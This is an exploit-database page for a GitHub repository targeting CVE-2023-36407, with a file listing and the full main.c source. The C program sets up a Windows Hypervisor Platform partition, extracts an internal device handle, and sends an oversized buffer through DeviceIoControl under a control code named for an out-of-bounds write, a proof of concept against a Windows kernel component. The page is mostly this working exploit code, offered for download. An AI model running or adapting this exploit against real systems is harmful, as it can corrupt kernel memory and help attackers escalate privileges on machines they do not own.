Exploit databaseDownload repository ZIP
GH-78a1496e261e4df0f68c551e86d46569
pwndorei/cve-2023-36407
Sources for CVE-2023-36407
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
pwndorei/cve-2023-36407Revision 05b5df3dad92
- .gitattributes
- .gitignore
- CVE-2023-36407.sln
- CVE-2023-36407.vcxproj
- CVE-2023-36407.vcxproj.filters
- README.md
- main.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
main.c
C · 892 bytes#include <stdio.h>
#include <Windows.h>
#include "WinHvPlatform.h"
#define OOB_WRITE_CTL_CODE 0x221268
#define OOB_SIZE 0x10000
int
main()
{
WHV_PARTITION_HANDLE prtn;
WHV_CAPABILITY cap;
unsigned int size, val;
char* payload = NULL;
WHvGetCapability(WHvCapabilityCodeHypervisorPresent, &cap, sizeof(cap), &size);
if (cap.HypervisorPresent == 0)
{
printf("Hypervisor is not present\n");
return -1;
}
WHvCreatePartition(&prtn);
val = 1;//processor cnt
WHvSetPartitionProperty(prtn, WHvPartitionPropertyCodeProcessorCount, &val, sizeof(val));
WHvSetupPartition(prtn);
HANDLE VidExo = (HANDLE)(*((__int64*)prtn + 1) & 0xfffffffffffffffe);
payload = malloc(OOB_SIZE);
memset(payload, 0x0, OOB_SIZE);
//exploit
DeviceIoControl(VidExo, OOB_WRITE_CTL_CODE, payload, OOB_SIZE, NULL, 0, NULL, NULL);
printf("%p\n", VidExo);
getc(stdin);
WHvDeletePartition(prtn);
}